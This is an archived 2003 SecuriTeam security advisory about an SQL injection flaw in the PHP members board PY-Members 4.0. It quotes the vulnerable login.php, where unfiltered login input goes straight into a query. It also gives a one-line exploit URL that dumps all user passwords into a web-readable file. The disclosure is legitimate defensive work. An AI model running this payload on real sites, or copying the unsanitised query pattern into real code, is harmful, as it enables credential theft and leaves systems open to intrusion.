

[UNIX] PY-Members Vulnerable to SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-04/0076.html>

support_at_securiteam.com

Date: 04/28/03

To: list@securiteam.com

Date: 28 Apr 2003 17:38:28 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

PY-Members Vulnerable to SQL Injection

SUMMARY

PY-Members is "a PHP based Members board. The Members board is completely administrable via a provided web interface". The product has been found to contain an SQL Injection vulnerability.

DETAILS

Vulnerable systems:

* PY-Members version 4.0

Vulnerable code:

The file login.php contains the following code:

```
<?
session_start();
session_name("pys");
include("config.php");
include("functions.php");

est_vide($login,"Vous n\avez pas saisi de login !");
```

Securiteam: [UNIX] PY-Members Vulnerable to SQL Injection

```
est_vide($pass,"Vous n'avez pas saisi de mot de passe !");
connexiondb();
$sql = "SELECT passwd FROM $db_table WHERE login='$login'";
$req = mysql_query($sql) or die('Erreur SQL
!<br>'. $sql. '<br>'.mysql_error());
$data = mysql_fetch_array($req);
if($data['passwd'] != $pass)
{
echo "<p>Mauvais login / password. Merci de recommencer</p>";
mysql_close();
exit;
}
else
{
$loginy=$login;
session_register('loginy');
$ip=$REMOTE_ADDR;
$host=gethostbyaddr($ip);
$log=date("d/m/Y à H\hi | ");
$log.=$ip." | ".$host;
$action = mysql_query("UPDATE $db_table SET lastlog='$log' WHERE
login='$loginy'") or die (mysql_error()) ;
mysql_close();
Header("Location: membre.php");
}
?>
```

As you can see, no form of filtering is performed to the input provided by the user.

Exploit:

By sending the following URL

[http://\[target\]/login.php?login='%20OR%20ISNULL\(NULL\)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=](http://[target]/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=)

The sever will save all users passwords into the file

[http://\[target\]/file.txt](http://[target]/file.txt).

ADDITIONAL INFORMATION

The information has been provided by <<mailto:leseulfrog@hotmail.com>> Frog Man.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

Securiteam: [UNIX] PY-Members Vulnerable to SQL Injection

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.